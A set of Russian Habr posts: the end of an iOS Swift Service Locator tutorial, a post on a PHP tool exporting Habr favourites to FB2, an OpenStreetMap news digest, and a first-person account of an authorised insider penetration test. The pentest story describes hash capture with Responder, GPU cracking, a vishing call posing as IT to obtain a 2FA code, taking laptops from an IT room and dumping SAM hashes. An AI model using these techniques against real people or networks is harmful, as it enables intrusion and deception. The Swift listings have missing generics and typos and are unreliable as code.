На видео видно, что введенное в поле значение транслируется на каждый последующий экран приложения. А на заключительном экране происходит вызов координатора, с тем, чтоб запустить приложение с первого экрана. Заметьте, здесь не происходит традиционного сворачивания стека навигации — он выталкивается из памяти целиком, в место него стартует новый стек. Если закомментировать строку удаления сервиса профиля, то имя пользователя перенесется на первый экран, так как будто мы свернули стек навигации.
```
ProfileService.service.remove()
```
Все приложение состоит из двух вью-контроллеров, с минимумом подготовительных операций.
StartViewController:
```
import UIKit
class StartViewController: UIViewController {
@IBOutlet private weak var nameField: UITextField!
override func viewDidLoad() {
super.viewDidLoad()
self.nameField.text = ProfileService.service.info.name
}
@IBAction func startAction(_ sender: UIButton) {
ProfileService.service.update(name: self.nameField.text ?? "")
CoordinatorService.service.coordinator.startPageController()
}
}
```
PageViewController:
```
import UIKit
class PageViewController: UIViewController {
@IBOutlet private weak var nameLabel: UILabel!
override func viewDidLoad() {
super.viewDidLoad()
self.nameLabel.text = ProfileService.service.info.name
}
@IBAction func finishAction(_ sender: UIButton) {
ProfileService.service.remove()
CoordinatorService.service.coordinator.start()
}
}
```
В первом контроллере экземпляр профиля создается в метода viewDidLoad(), и информация об имени пользователя загружается в поле ввода. А после нажатия на кнопку SignIn, даные сервиса вновь обновляются. После чего происходит принудительный переход на первую страницу мастера.
Внутри мастера данные отображаются на экране. Но событие привязано к кнопке только на последнем экране сториборда.
Казалось бы, что тут может быть сложного? Но за последние 5 лет постоянно сталкиваюсь с разработчиками которые не понимают, как это все работает.
Разумеется, вся основная работа происходит в локаторе и самом сервисе.
Локатор:
```
import Foundation
protocol IService {
static var service: Self {get}
func clear()
func remove()
}
protocol IServiceLocator {
func service() -> T?
}
final class ServiceLocator: IServiceLocator {
private static let instance = ServiceLocator()
private lazy var services: [String: Any] = [:]
// MARK: - Public methods
class func service() -> T? {
return instance.service()
}
class func addService(\_ service: T) {
return instance.addService(service)
}
class func clear() {
instance.services.removeAll()
}
class func removeService(\_ service: T) {
instance.removeService(service)
}
func service() -> T? {
let key = typeName(T.self)
return services[key] as? T
}
// MARK: - Private methods
private fun caddService(\_ service: T) {
let key = typeName(T.self)
services[key] = service
}
private func removeService(\_ service: T) {
let key = typeName(T.self)
services.removeValue(forKey: key)
}
private func typeName(\_ some: Any) -> String {
return (some isAny.Type) ? "\(some)" : "\(type(of: some))"
}
}
```
Если Вы присмотритесь, то заметите, что потенциально можно одним действием очистить всю область данных локатора:
ServiceLocator.clear()
Сервис профиля не намного сложнее:
```
import UIKit
final class ProfileService: IService {
private (set) var info = ProfileInfo()
class var service: ProfileService {
if let service: ProfileService = ServiceLocator.service() {
return service
}
let service = ProfileService()
ServiceLocator.addService(service)
return service
}
func clear() {
self.info = ProfileInfo()
}
func remove() {
ServiceLocator.removeService(self)
}
func update(name: String) {
self.info.name = name
}
}
struct ProfileInfo {
varname = ""
}
```
Его можно еще упростить, перенеся область данных внутрь самого сервиса. Но в таком виде он становится понятным зона ответственности модели данных и сервиса.
Не исключено, что для работы Ваших сервисов потребуется осуществлять некоторые подготовительные операции, как в случае с созданием сервиса координатора.
```
import UIKit
final class CoordinatorService: IService {
private (set)var coordinator: MainCoordinator!
var navController: UINavigationController {
return self.coordinator.navigationController
}
class var service: CoordinatorService {
if let service: CoordinatorService = ServiceLocator.service() {
return service
}
let service = CoordinatorService()
service.load()
ServiceLocator.addService(service)
return service
}
func clear() {
}
func remove() {
ServiceLocator.removeService(self)
}
// MARK - Private
private func load() {
let nc = UINavigationController()
nc.navigationBar.isHidden = true
self.coordinator = MainCoordinator(navigationController:nc)
}
}
```
Здесь видно, что в момент помещения сервиса в локатор, происходит создание стека навигации, и передача его экземпляру класса координатора.
Если Вы используете iOS 13 (видимо, и выше), то не забудьте модифицировать класс SceneDelegate. В нем нужно обеспечить выполнение вот этого кода:
```
func scene(_ scene: UIScene, willConnectTo session: UISceneSession, options connectionOptions: UIScene.ConnectionOptions) {
guard let scene = (scene as? UIWindowScene) else { return }
let window = UIWindow(windowScene: scene)
window.rootViewController = CoordinatorService.service.navController
self.window = window
CoordinatorService.service.coordinator.start()
window.makeKeyAndVisible()
}
```
В начале извлекаем дефолтный стек навигации и ассоциируем его с главным окном приложения, а затем открываем стартовое окно приложения с контроллером StartViewController.
Исходный код [тестового примера доступен на GitHub](https://github.com/DemonSoft/ServiceLoacator/archive/master.zip). | https://habr.com/ru/post/498194/ | null | ru | null |
# Экспорт избранного Хабра в FB2 — скоростная PHP-версия
В своё время я уже видел такой конвертер здесь же на Хабре, написанный на питоне, но он на моей машинке сжирал много-много-много ресурсов и ни разу не смог моё избранное (а это 400+ постов) до конца сохранить, падая то на некорректном файле, то на «кривой» статье. Пришлось переписать, результаты трудов под катом.
* **[Уже было](http://habrahabr.ru/post/111411/) (в pdf, на питоне), [причем дважды](http://habrahabr.ru/post/116982/) (в fb2, на питоне)!**
+ pdf на телефоне требует больше ресурсов для просмотра.
+ питоновский скрипт сохранения в fb2 съедал у меня около 3 Гб оперативной памяти (а на старом ноутбуке ровно 3 и было), и ни разу не смог успешно завершить процесс успешно.
* **Комментарии к постам сохраняются?**
В библиотеку парсера соответствующую функцию я добавил, но сохранение в файл не сделал. Если будут идеи, как красиво отобразить комментарии ограниченными возможностями fb2-разметки — поделитесь идеей, с удовольствием доделаю следующим патчем.
* **Валидация, работоспособность файла, известные проблемы?**
В **CoolReader** под android открывается 100%, windows-версия **FBReader** может падать на некоторых статьях.
Не всё корректно отображается — тэги таблицы удаляются, код не оборачивается в соответствующий тэг (будет в следующем патче).
Все некорретные статьи или картинки молча отбрасываются, никакого логгирования ошибок.
* **Как запустить?**
Качаем, распаковываем в любой виртуальный хост, правим **config.php** под себя и открываем в браузере.
Все нужные библиотеки или в комплекте, или докачиваются сабмодулями.
* **Где взять то?**
[На github'е, вестимо.](https://github.com/Newbilius/habr_to_fb2)
* **Настройки?**
В файле **config.php**, всё подписано русским utf'ом. Можно, например, отключить сохранение картинок или сменить папки для сохранения данных.
* **Что интересного в реализации?**
+ парсинг ведётся силами библиотеки [phpquery](http://code.google.com/p/phpquery/)
+ все действия разнесены в отдельные файлы (скачивание списка, скачивание статьи, сохранение картинки)
+ за один шаг выполняется одно атомарное действие (скачивание одной статьи, скачивание одного вложенного файла и т.п.). Таким образом памяти каждый скрипт ест мало, а работает относительно быстро.
* **Я нашел ошибку/баг/кривой код/у меня есть идея!**
Делитесь здесь, в личку, на github'е — в свободное время могу заняться.
[Пример файла (вторая версия)](http://yadi.sk/d/t3P2Mu0a2xcjr). ~150 статей, размер 22мб., в сжатом виде 14 мб. Картинки в комплекте, комментарии — нет.
~~**Update**. [Пример fb2-файла.](http://yadi.sk/d/dfNxTSFt2tbBW) 400+ статей, общий размер ~53мб., картинки сжаты до 400 пикселей, размер архив 33.8 мб.~~ **Выше — свежая версия файла.**
**Update 2**. ~~Для работы скрипта на сервере должны быть включены **short tags**.~~ Не актуально для новой версии скрипта.
**Update 3**. Скриншот скрипта в процессе выполнения:
**Update 4 (27.02.2013)**. Обновил скрипт. Теперь не выкидываются тэги ``и (в последней не работает сложное форматирование, но тем не менее). Добавлено логгирование (включается в **config.php**). Короткие тэги заменены на длинные.
**Update 5 (27.02.2013)**. Обновил скрипт. Теперь он поддерживает сохранение комментариев, подробности - чуть ниже, тут.
**Update 6 (28.02.2013)**. Обновление скрипта. Теперь файл более корректен (с токи зрения XML). Правда, FBreader на всех платформах его не принимает, так же как и одна из аппаратных книг, но большинство читалок файл всё-таки одолеет. Заменен демонстрационный файл.
**Update 7 (28.02.2013)**. Обновил скрипт. По совету в комментариях - добавил возможность включить скачивание картинок параллельно, в несколько потоков.`` | https://habr.com/ru/post/170755/ | null | ru | null |
# Новости из мира OpenStreetMap № 501 (18.02.2020-24.02.2020)
Исходный код blender-osm — плагина для Blender 3D — выложен GitHub [1](#wn501_21985) | vvoovv | map data OpenStreetMap contributors
О нас
-----
* Благодарим всех тех, кто поздравил нас с юбилейным 500-м выпуском нашего еженедельного новостного проекта и написал по этому поводу в [блоге](https://blog.openstreetmap.org/2020/02/26/congratulations-to-weeklyosm-for-publishing-its-500th-newsletter/), на электронную почту, оставил [комментарий](http://weeklyosm.eu/fr/archives/12904#comment-89364), в [Твиттере](https://twitter.com/openstreetmap/status/1232706104540508162?s=20) и даже лично. Пожалуйста, помогите нам рассказать сообществу о вашей активности в OSM — напишите новость об этом вот [здесь](https://osmbc.openstreetmap.de).
Картографирование
-----------------
* Джозеф Айзенберг [ждет](https://lists.openstreetmap.org/pipermail/tagging/2020-February/051211.html) комментариев для своего [нового](https://wiki.openstreetmap.org/wiki/Proposed_features/Tag:amenity%3Dmotorcycle_taxi) тега `amenity=motorcycle_taxi`, которым он предлагает отмечать места, где мототакси ждут клиентов. ([Nabble](http://gis.19327.n8.nabble.com/Feature-Proposal-RFC-Tag-amenity-motorcycle-taxi-td5958985.html))
* После вопроса Виктора о том, нужно ли отмечать наличие/отсутствие таблички (`camera:signed=yes/no`), предупреждающей, что ведется видеосъемка, [началась](https://lists.openstreetmap.org/pipermail/tagging/2020-February/051193.html) дискуссия, так как в некоторых странах их установка обязательна. ([Nabble](http://gis.19327.n8.nabble.com/Tagging-the-presence-or-absence-of-signs-for-surveillance-cameras-td5958891.html))
* Давний участник OSM Ник Уитлегг [сообщил](https://lists.openstreetmap.org/pipermail/talk-gb/2020-February/024163.html), что он закрывает свой сайт для картографирования пешеходных маршрутов Англии и Уэльса FreeMap. Сайт появился в том же году, что и OSM (может быть, даже чуть раньше). Это новость [удивила](https://lists.openstreetmap.org/pipermail/talk-gb/2020-February/024167.html) другого участника OSM — Ричарда Фэрхерста, который поделился интересной ссылкой на старый пост о его собственном картографическом проекте, предшествующему появлению OpenStreetMap (речь о geowiki.com), также в этом тексте есть ряд любопытных фактов о предыстории OSM.
* Пользователь [dktue](http://hdyc.neis-one.org/?dktue) 17 февраля 2020 года создал сайт [autobahnkilometer.tirol](http://autobahnkilometer.tirol), на котором отображаются километровые столбы в Тироле (Австрия). В день запуска сайт на нем не было отмечено ни одного километрового столба. В настоящее время большая часть из них нанесена на карту.
* Пользователь Thejesh GN написал [инструкцию](https://thejeshgn.com/2019/06/10/mapping-surveillance-in-bangalore-using-openstreetmap/) по картированию камер видеонаблюдения в OSM, а именно как это сделать с помощью мобильного приложения OSMAnd.
* HOT [поделилась](https://twitter.com/hotosm/status/1231586007079882753) информацией о своем [сотрудничестве](https://news.microsoft.com/on-the-issues/2020/02/13/ai-missing-maps-hot-bing/?fbclid=IwAR2OMQcStgAtdFj8DvkgrbCWuPhYwdw3znEP7rJdfQeELSckBFVy8wvjy78) с Microsoft по вопросам создания подробных карт Танзании и Уганды с помощью картографирования по спутниковым снимкам, машинного обучения и местных картографов.
* В ряде европейских стран была создана система Knotenpunktsystem (дословно «система узловых точек»), которая помогает людям ориентироваться в сети велодорожек, путем нумерации перекрестков и установке между ними больших указателей. Роберт Грюблер [рассказал](https://www.openstreetmap.org/user/Robhubi/diary/392291) о работе по составлению карты системы узловых пунктов велосипедной сети в Муртале (Австрия).
Сообщество
----------
* Если вы знаете человека или проект, который заслуживает награды за свой вклад в OSM, вы можете подать заявку на [OSM-Awards 2020](http://awards.osmz.ru). Илья Зверев [просит](https://lists.openstreetmap.org/pipermail/talk/2020-February/084192.html), чтобы кандидатуры были выдвинуты до 10 мая 2020 года.
* Фабьен Делольмо [проведет](https://www.echosciences-grenoble.fr/evenements/atelier-openstreetmap-osm-go-les-dessous-d-une-appli-mobile-de-contribution) технический семинар по программированию мобильного приложения, которое использует и обновляет данные OpenStreetMap. Семинар состоится 6 марта в Гренобле, Франция.
* Компания Google [объявила](https://opensource.googleblog.com/2020/02/google-summer-of-code-2020-mentoring.html) о том, что проекты с открытым исходным кодом и организации были приняты в программу [Google Summer of Code](https://summerofcode.withgoogle.com) (GSoC) этого года. [OSM](https://summerofcode.withgoogle.com/organizations/5154733884440576/) входит в число 200 принятых проектов с открытым исходным кодом. GSoC будет принимать студенческие заявки с 16 по 31 марта 2020 года.
* Пользователь SomeoneElse экспериментирует с добавлением информации к установленным иконкам. Среди прочего он [объясняет](https://www.openstreetmap.org/user/SomeoneElse/diary/392246) в своем блоге, как иконка может быть обогащена информацией о доступности на Wheelmap.
* [Общество Тоблера](https://spatial.uchicago.edu/content/tobler-society-rso) — это энергичный филиал молодежного движения YouthMappers в Чикагском университете. Они [написали](https://twitter.com/openstreetmap/status/1231920853761347584) в Твиттере о своем картатоне, который они провели на прошлой неделе. Несколько раз в год они проводят картомарафоны в рамках гуманитарных проектов YouthMappers, а в прошлом году студенты стали первым филиалом YouthMappers в Чикаго.
Фонд OpenStreetMap
------------------
* Саймон Пул [сообщил](https://lists.openstreetmap.org/pipermail/talk/2020-February/084121.html) о выходе новой версии [Руководства по атрибуции](https://wiki.openstreetmap.org/wiki/Draft_Attribution_Guideline), в котором учтены замечания, которые были получены в августе прошлого года во время публичного обсуждения. Проект руководства будет передан на официальное утверждение в Совет Фонда OSM.
События
-------
* Илья Зверев [напоминает](https://lists.openstreetmap.org/pipermail/talk/2020-February/084186.html), что 6 марта 2020 года в Латвийском университете состоится конференция "[State of the Map Baltics 2020](https://2020.sotm-baltics.org/)".
* Ларс Лингер [приглашает](https://lists.openstreetmap.org/pipermail/talk-de/2020-February/116638.html) вас 28 и 29 марта 2020 года в Берлин на очередные OSM хак-выходные. Мероприятие, которое проводится уже как минимум 7 лет, в этот раз будет проходить в офисе Викимедиа при поддержке FOSSGIS, являющейся местным отделением Фонда OSM в Германии.
* Эд Фрейфогл, соучредитель OpenCage, и Стивен Фельдман из KnowWhere Consulting [начали](https://thegeomob.com/podcast/) серию подкастов на гео-темы.
Гуманитарный OSM
----------------
* HOT [написала](https://twitter.com/hotosm/status/1230478961357885441) в своем Твиттере, что все шесть кандидатов (Сьерра- Леоне, Ирака, Южного Судана, Филиппин, Боливии и Перу) на получение грантов в рамках программы микрогрантов HOT были полностью профинансированы сообществом.
Карты
-----
* Тебе нравится рисовать на картах? Но надоело делать это на бумажной карте с мелком, как какой-нибудь пещерный человек? Тогда сервис [Gribrouillon](https://pavie.info/2020/02/22/dessin-carte-gribrouillon/), разработанный Адрианом Пави, для вас. Используйте его, чтобы рисовать на базовой карте OSM и поделиться своим творчеством с друзьями.
* Андрей Каща [сообщил](https://twitter.com/anvaka/status/1230596348803633152?s=19) об обновлении своего «малоизвестного» 2D WebGL рендера. В своем твите он показывает, как предварительно будет выглядеть новая функция — 3D-рендер.
* Би-би-си [посвятила](https://www.bbc.com/news/world-51504512) статью злоупотреблению картами с целью распространения сомнительной информации о распространении коронавируса в мире.
* Некоторые картографы на немецком форуме OSM [выразили](https://forum.openstreetmap.org/viewtopic.php?id=68575) свое разочарование по поводу медленной отрисовки основной карты OSM.
Переходим на OSM
----------------
* Tempus — автотранспортный перевозчик в регионе Зюдейфель в Германии. С помощью сообщества они [внесли](https://www.tempus-mobil.de/de/liniennetz.html) в OSM все свои автобусные маршруты, а также сделали отдельные карты для каждого маршрута на своем сайте с помощью инструментов Leaflet и Overpass.
Открытые данные
---------------
* На сайте OpenDataFrance [появился](http://www.openstreetmap.fr/extraire-facilement-des-donnees-osm-avec-geodatamine/) новый инструмент для выгрузки данных из OSM — GeoDataMine. Он позволяет местным органам власти быстро извлекать данные, относящиеся к их территории, из базы данных OpenStreetMap.
Программное обеспечение
-----------------------
* Сервис OSMCha переезжает на новый домен — <https://osmcha.org>. Пользователи будут перенаправлены с предыдущего домена на новый, но разработчики, использующие API, должны изменить свои приложения, чтобы избежать проблем. Подробнее об этом читайте [здесь](https://www.openstreetmap.org/user/wille/diary/392289).
* Как [сообщает](https://www.openstreetmap.org/user/vvoovv/diary/392254) vvoovv, исходный код blender-osm — плагина для Blender 3D, позволяющий визуализировать данных OSM в 3D, выложен на [GitHub](https://github.com/vvoovv/blender-osm/tree/release).
Программирование
----------------
* Консорциум Open Geospatial Consortium (OGC) [объявил](https://www.geospatialworld.net/news/ogc-announces-publication-of-open-routing-api-pilot-results/) о публикации отчетов, документирующих работу пилотного проекта Open Routing API, включая разработанные реализации и прототип Routing API и Route Exchange Model для решения проблем совместимости местоположения с различными инструментами, доступными от многих поставщиков.
* Консорциум Open Geospatial Consortium [рассматривает](https://www.geospatialworld.net/news/ogc-considering-cityjson-as-community-standard-seeks-public-comment-for-new-work-item/) возможность принятия CityJSON в качестве официального стандарта сообщества консорциума. Обоснование этого шага доступно для обсуждения.
Релизы
------
* Команда JOSM выпустила 20 февраля (20.02) стабильную версию 15915. В ней снова доступны спутниковые снимки Maxar, появились ссылки на региональные/национальные версии Taginfo от Geofabrik, а также улучшены автофильтры JOSM и [много](https://josm.openstreetmap.de/wiki/Changelog#stable-release-20.02) новых функций и улучшений.
Знаете ли вы …
--------------
* … о теге [`traffic_sign`](https://wiki.openstreetmap.org/wiki/Key:traffic_sign)? Им отмечается местоположение и тип дорожного знака. Этот тег стоит использовать, если вы не уверены в том, как именно пометить тот или иной дорожный знак. С его помощью другие картографы смогут уточнить его свойства, если это необходимо.
Другие «гео» события
--------------------
* Омар Ризван опубликовал в [Твиттере](https://twitter.com/rsnous/status/1228592063509233664) персонализированную карту общественного транспорта Окленда (Новая Зеландия), которую он сделал для своих родителей.
* Пять лет назад Давис Вильюмс решил объехать все улицы в центре Лондона. Давис [объясняет](http://davis.vilums.me/all-the-streets/), почему и как, и представляет замедленное видео записи всех его поездок, в котором показана сетка лондонских улиц.
* Том Форт (ODI Leeds) в Твиттере опубликовал [целый твит-рассказ](https://twitter.com/thomasforth/status/1228721354960232449) об использовании открытых данных для отображения неравенства доходов в Великобритании и Франции.
* В испанской газете La Voz de Almería вышел [материал](https://www.lavozdealmeria.com/noticia/12/almeria/187474/el-detallado-mapa-del-carril-bici-que-carlos-jurado-nos-ha-regalado) о Карлосе Хурадо Ривера. Карлос рассказывает, как он заинтересовался картографированием велосипедной инфраструктуры Альмерии (Испания), а также почему он выбрал OpenStreetMap и его картостиль.
* Известно, что картографы время от времени тайком размещают в своих работах шутки. Зои Полл [рассказал](https://eyeondesign.aiga.org/for-decades-cartographers-have-been-hiding-covert-illustrations-inside-of-switzerlands-official-maps/), как даже в картах Swisstopo (Федеральное бюро топографии Швейцарии) он смог сделать несколько картографических шуток.
* Исследовательская группа Giscience Гейдельбергского университета опубликовали [статью](http://k1z.blog.uni-heidelberg.de/2020/02/24/behavioural-effects-of-spatially-structured-scoring-systems-in-location-based-serious-games-a-case-study-in-the-context-of-openstreetmap/) о роли пространственно структурированных систем подсчета очков, как мотивационного элемента в играх, основанных на местоположении. Они обнаружили, что игроки, столкнувшиеся с пространственно структурированной системой подсчета очков, с большей вероятностью будут иметь более длительное игровое время, проходить более длинные расстояния и более охотно делать обходные маневры, чем те, кто сталкивается с пространственно случайной системой подсчета очков.
* 12 февраля в Гейдельбергском университете [состоялось](https://www.geog.uni-heidelberg.de/gis/LOKI_en.html) первое совещание по LOKI (наблюдению с воздуха за инфраструктурой, находящейся в кризисе). Цель проекта LOKI — разработка системы, позволяющей быстро и надежно оценивать ситуацию с воздуха после землетрясения.
* Теперь снимки Mapillary [доступны](https://blog.mapillary.com/update/2020/02/21/mapillary-in-arcgis-urban.html) и в ArcGIS Urban — инструменте ESRI для интеллектуального городского планирования, предоставляющем изображения с перспективой на уровне улиц.
---
Общение российских участников OpenStreetMap идёт в [чатике](https://t.me/ruosm) Telegram и на [форуме](http://forum.openstreetmap.org/viewforum.php?id=21). Также есть группы в социальных сетях [ВКонтакте](https://vk.com/openstreetmap), [Facebook](https://www.facebook.com/openstreetmap.ru), но в них в основном публикуются новости.
[Присоединяйтесь к OSM!](https://www.openstreetmap.org/user/new)
---
Предыдущие выпуски: [500](https://habr.com/ru/post/490686/), [499](https://habr.com/ru/post/489948/), [498](https://habr.com/ru/post/488298/), [497](https://habr.com/ru/post/487556/), [496](https://habr.com/ru/post/486694/) | https://habr.com/ru/post/491518/ | null | ru | null |
# Враг внутри: как я попался на инсайдерском редтиминге
У меня были все преимущества. Я уже был внутри сети. Я был вне подозрений. Но они обнаружили мой взлом, выкинули из сети… и выследили физически.
Многие тестирования на проникновение начинаются снаружи, чтобы проверить, как можно преодолеть периметр. На этот раз заказчик хотел посмотреть, насколько далеко может зайти атакующий, который уже сумел оказаться внутри организации. Разве они могли бы остановить меня, если я уже был в сети?
Итак, они тайком провели меня в офис, замаскировав под нового работника. Мне дали рабочий компьютер, бейджик, учётку в системе… чёрт, у меня даже была своя кабинка с вымышленным именем на ней. Единственным человеком, знавшим, кто я на самом деле, был их директор по информационной безопасности. Все остальные думали, что я Джереми из Маркетинга.
Разведка
--------
Бо́льшую часть утра первого дня я был занят процедурами оформления на работу, знакомства с коллегами и выполнением чёрной работы. Но я должен был действовать быстро. На всё про всё у меня была только неделя, и нужно было успеть всё взломать, не вызвав подозрений. Так что я занялся делом.
Чтобы вы понимали: большинство тестирований на проникновение довольно прямолинейны. Самое трудное — пробиться в сеть. Но оказавшись внутри, получаешь широкий выбор целей: старые компьютеры, пароли по-умолчанию, все сидят под локальными администраторами… Обычно я получаю учётку доменного админа за день-два, а вскоре после этого и администратора организации. Оставшееся время уходит на заметание следов и сбор доказательств возможных последствий атаки. Но на этот раз всё было иначе. Пришло время удивляться.
Сев за компьютер, я сделал вид, что работаю. Я собирался использовать свой служебный компьютер для исследования, изучения настроек других рабочих станций, но я бы не стал атаковать непосредственно с него, чтобы не оставлять следов, указывающих на меня. Вместо этого я принёс отдельное устройство для взлома: личный ноутбук с линуксом и кучей хакерских инструментов. Я подключил его к сети и получил IP-адрес. Их [NAC](https://en.wikipedia.org/wiki/Network_Access_Control) не охватывал всю сеть: любое подключение из рабочей кабинки было доверенным.
Я начал, как обычно. Перехват и анализ сетевого трафика с Wireshark, смена MAC-адреса и имени моего ноутбука, чтобы он затерялся в их инфраструктуре и выглядел, как обычное оборудование. Затем — использование Responder в своей подсети для вылавливания хэшей и взлома паролей. Довольно быстро мне удалось насобирать полную горсть хэшей. Я находился в обычной подсети для работников, поэтому вокруг было много залогиненных учёток с открытыми браузерами, разбрасывающими аутентификационные данные.
Первые сюрпризы
---------------
Я запустил перебор найденных хэшей на своей ферме из 8 видеокарт, но… что-то пошло не так. Довольно быстро были проверены все 8-символьные комбинации из больших и маленьких букв, цифр и спецсимволов (NetNTLMv2). Большинство обычных паролей (одно слово, первая заглавная буква, заканчивающийся на цифру или символ) я взламываю мгновенно. Но не здесь.
Я мог бы запустить net accounts на своей рабочей станции, чтобы посмотреть парольную политику непосредственно в AD, но для начала я решил поискать где-нибудь ещё. Не хотелось оставлять лишних следов. Порывшись в сети, мне удалось найти Требования безопасности. Оказалось, что минимальная длина пароля, который должен был включать большие и маленькие буквы, спецсимволы и цифры, составляла 12 знаков. И они уже начали переход на парольные фразы… Я поменял свой набор правил для брутфорса на использование более длинных слов, заглавных первых букв и окончаний из цифр и специсимволов. Это принесло мне несколько паролей!
Круто! Погнали! Я сразу попытался удалённо зайти на компьютер пользователя под его паролем..., и был заблокирован. Какого...? Это всегда срабатывало. Пароль верный. Но доступ закрыт. Я перепроверил себя. Начинай с основ. Делай всё правильно. Некоторое время ушло на поиски контроллера домена. На VoIP-телефонах нашлись конфиги веб-страниц, где был прописан его адрес. С контроллера я через LDAP вытащил свойства групповых политик, чтобы посмотреть привилегии. После долгих раскопок в куче настроек, я понял, что удалённый доступ разрешён лишь небольшой части айтишников, даже не всему IT-отделу. И я не взломал ни одного из их паролей. Они реализовали модель наименьших привилегий… Кто так делает?
Ладно, идите к чёрту. Обойдусь без доступа к компьютерам. Залезу в их переписку! Так я и поступил. Я искал пароли в почте, Skype-чатах, проверил заметки и черновики в Outlook. Мне попалась куча личных паролей от чего угодно… Но ни одного от служебной учётки. Зато я нашёл письмо от отдела информационной безопасности, где говорилось, что они в течение недели планируют внедрить двухфакторную аутентификацию для почты. Похоже, мне ещё повезло.
Самое слабое место любой системы
--------------------------------
Затем я отправился на [SSO-портал](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D1%8F_%D0%B5%D0%B4%D0%B8%D0%BD%D0%BE%D0%B3%D0%BE_%D0%B2%D1%85%D0%BE%D0%B4%D0%B0). Все внутренние приложения в одном месте. Мечта хакера! Я кликнул на одно из приложений. Оно требовало двухфакторной аутентификации. Следующее тоже. И следующее. Да что ж за Алькатрас-то такой?! Ночной кошмар хакера!
Я видел, что они используют Citrix. Он за двухфакторной аутентификацией, ну, и пофиг. Я с этим разберусь. Citrix даст мне доступ к внутреннему серверу. Мне нужно было попасть на внутренний хост, чтобы убрать мой хакерский ноутбук и начать уже продвигаться в сеть. Я запустил Citrix, получив в ответ запрос 6-значного пина. Тут есть кнопка с надписью «Нажмите для получения токена» и немного подредактированным номером телефона: (xxx)xxx-5309. Поискав в почте «5309», я нашёл подпись пользователя, в которой этот номер телефона был указан полностью. Я позвонил по нему.
Ответила женщина. «Добрый день, Пэм. Я Джош из айти. Мы переносим Ваш профиль Citrix на новый сервер. Я сейчас отправлю Вам 6-значное число. Мне нужно, чтобы Вы прочитали мне его. На всякий случай напоминаю, мы никогда не спрашиваем Ваш пароль». У меня уже был её пароль. Она колебалась: «Хорошооо...» Я нажал кнопку для отправки токена аутентификации и сказал: «Готово. Я отправил Вам число, прочитайте его мне, пожалуйста, когда получите». Она ответила: «Эммм… Да, получила. 9-0-5-2-1-2». «Благодарю! Пожалуйста, не запускайте Citrix пару часов!» На экране тикал таймер на 60 секунд. Я набрал цифры в окне двухфакторной аутентификации и нажал «Ok». Залогинен. Иди в пень, двухфакторная аутентификация! Оказавшись внутри, я увидел… ничего. НИЧЕГО! Этому пользователю не нужен был Citrix, поэтому к нему не было привязано НИЧЕГО. Я взломал подсобку.
Так. Это безумие. Я возможно подберу длинный пароль, но только если мне повезёт поймать нужный хэш. Даже со взломанным паролем кого-то из небольшой группы людей мне придётся обходить двухфакторную аутентификацию. Каждая попытка, особенно с кем-то из этой защищённой группы, повышает риск обнаружения. Проклятье…
Я перепробовал всё. Я запускал всё более и более агрессивные сканы, стараясь всё же оставаться ниже радаров. Я прощупал всю сеть и все службы, которые сумел найти, со всеми атаками, которые знал. И хотя то тут, то там я находил какие-то мелочи, этого не хватало, чтобы где-нибудь закрепиться. Я начал впадать в отчаяние. Уже конец второго дня. Обычно в это время я уже потрошу базы данных, читаю почту генерального директора и снимаю людей на их веб-камеры. Чёрт возьми. Пора вломиться в логово айтишников. Я собираюсь украсть ноутбуки.
Ночной рейд
-----------
Я задержался после работы. Коллегам сказал, что нужно закончить курс по безопасности при трудоустройстве. Они покивали и свалили. Потом пришли уборщики. Когда они закончили, я остался один. Я направился к кабинету айтишников. Нашёл дверь. Оглядевшись по сторонам, я взялся за ручку…
До этого я уже попробовал разные штуки с моим служебным ноутбуком, но я не был локальным админом, а диск был полностью зашифрован. Моей целью было найти старый незашифрованный ноутбук, на котором будет хэш пароля локального админа.
Я проверил холл, чтобы никого не было рядом. Я осмотрел потолок в поисках камер безопасности. Я приоткрыл рот и наклонил голову, чтобы услышать, что кто-то подходит из-за угла. Ничего. Я был готов действовать. Я приготовился ковыряться в механическом замке, разбираться с электронными системами контроля доступа или снимать дверь с петель, но обнаружил, что дверь приоткрыта. Повезло. На двери был и электронный замок, и механический. Даже защищённые петли. Но кто-то оставил её незакрытой в ту ночь. Приоткрыв дверь, я заглянул, ожидая натолкнуться на кого-то внутри. Никого. Да ну нафиг. Просто пруха. Я вошёл внутрь.
Понятия не имею, почему дверь была открыта, но 80% моей работы — это пользовательские ошибки, 56% — навыки, 63% — приспособляемость, 90% — использование особенностей и жирные 80% — удача. И лишь около 1% связаны с математикой…
Как бы то ни было. Я не знал, не вернётся ли кто-нибудь сюда с минуты на минуту, поэтому принялся за работу. В углу лежали стопками ноутбуки разного возраста, производителей и моделей. Взвесив риски попасться в кабинете айтишников или с кучей ноутов на моём столе, я выбрал свой стол. И вот я уже перетаскиваю охапки старых ноутбуков из айтишной норы в свою кабинку, складывая из них Пизанскую башню под своим столом. Затем я начал методично пытаться загрузить каждый ноутбук с флешки в поисках незашифрованного Святого Грааля.
У меня есть загрузочная флешка с Kali и утилитой samdump2. Я подключаю её к одному из ноутбуков, загружаю его и пытаюсь смонтировать жёсткий диск. С каждым разом натыкаясь на шифрование, я всё сильнее расстраиваюсь. Наконец, после 30 проверенных ноутбуков я нахожу три полуживых с незашифрованными дисками. С помощью samdump2 я вытаскиваю локальные NTLM-хэши из SAM и сравниваю их. Таким образом удаётся найти нестандартную учётку локального админа «ladm» на всех трёх машинах. Хэши совпадают. Слава [Эриде](https://ru.wikipedia.org/wiki/%D0%94%D0%B8%D1%81%D0%BA%D0%BE%D1%80%D0%B4%D0%B8%D0%B0%D0%BD%D0%B8%D0%B7%D0%BC), они не используют [LAPS](https://technet.microsoft.com/en-us/mt227395.aspx). Учётка локального админа одинаковая на всех компьютерах. Я взломал этот хэш довольно легко. Пароль оказался <Название компании><Год>, и этот год прошёл пару лет назад. Ошибка в управлении активами. Обожаю.
Я попытался зайти под новой учёткой удалённо и получил ту же ошибку, что и до этого. Даже локальному админу был запрещён удалённый вход… Я попытался зайти локально на собственный служебный ноутбук, и у меня получилось! Эта учётка обходила полное шифрование! Мастер-ключ! Так… тааак! Этим можно воспользоваться! Но потом я заметил одну странность… У меня не было прав доступа к пользовательским данным. Что? Они ограничили доступ ДАЖЕ ДЛЯ ЛОКАЛЬНЫХ АДМИНОВ?! Чёрт. Нужно было повышать привилегии до системных.
